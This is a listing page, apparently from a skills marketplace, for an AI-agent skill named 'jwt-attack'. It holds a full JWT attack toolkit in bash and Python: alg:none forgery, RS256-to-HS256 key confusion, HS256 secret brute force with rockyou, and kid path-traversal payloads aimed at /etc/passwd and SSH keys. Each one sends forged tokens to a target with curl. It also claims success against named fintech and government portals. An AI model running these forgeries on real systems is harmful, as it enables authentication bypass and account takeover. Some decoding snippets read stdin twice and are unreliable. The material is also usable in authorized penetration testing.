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インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
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npx skills add https://github.com/uphiago/recon-skills --skill jwt-attackコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
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Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
SKILL.md を表示中
SOC 職業分類に基づく
| name | jwt-attack |
| description | Decode, forge, brute JWTs when Bearer auth header is seen. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","JWT","token","forge","brute-force"] |
| category | recon |
| related_skills | ["api-noauth-hunt","js-secrets-extraction","firebase-supabase-attack"] |
Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).
Authorization: Bearer eyJ... headers.eyJ... token patterns.js-secrets-extraction finds JWT tokens.api-noauth-hunt needs token forging for auth bypass.jwt=, token=, or session= with base64-encoded values.terminal with curl, python3.hashcat or john for high-speed cracking (optional).# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
| Attack | Prerequisites | Impact | Difficulty |
|---|---|---|---|
| alg:none | Server accepts |
alg: "none"| Full admin access |
| Easy |
| RS256→HS256 | JWT signed with RS256 | Full admin access | Medium (need public key) |
| Weak HMAC secret | HS256 with weak secret | Full admin access | Medium (need to crack) |
| kid injection | Server trusts kid header | RCE/LFI | Hard |
| Expired token reuse | Server doesn't validate exp | Session persistence | Trivial |
| Hardcoded JWT | JWT found in JS/source | Whatever the JWT grants | Trivial |
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fi
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fi
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fi
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
done
/.well-known/jwks.json or in JS bundles.hashcat -m 16500 for HS256 or john for production-speed cracking.jti validation. Even if you forge a valid JWT, Passport checks if the jti (JWT ID) exists in the database./.well-known/jwks.json — alg:none won't work because the server always verifies with the public key.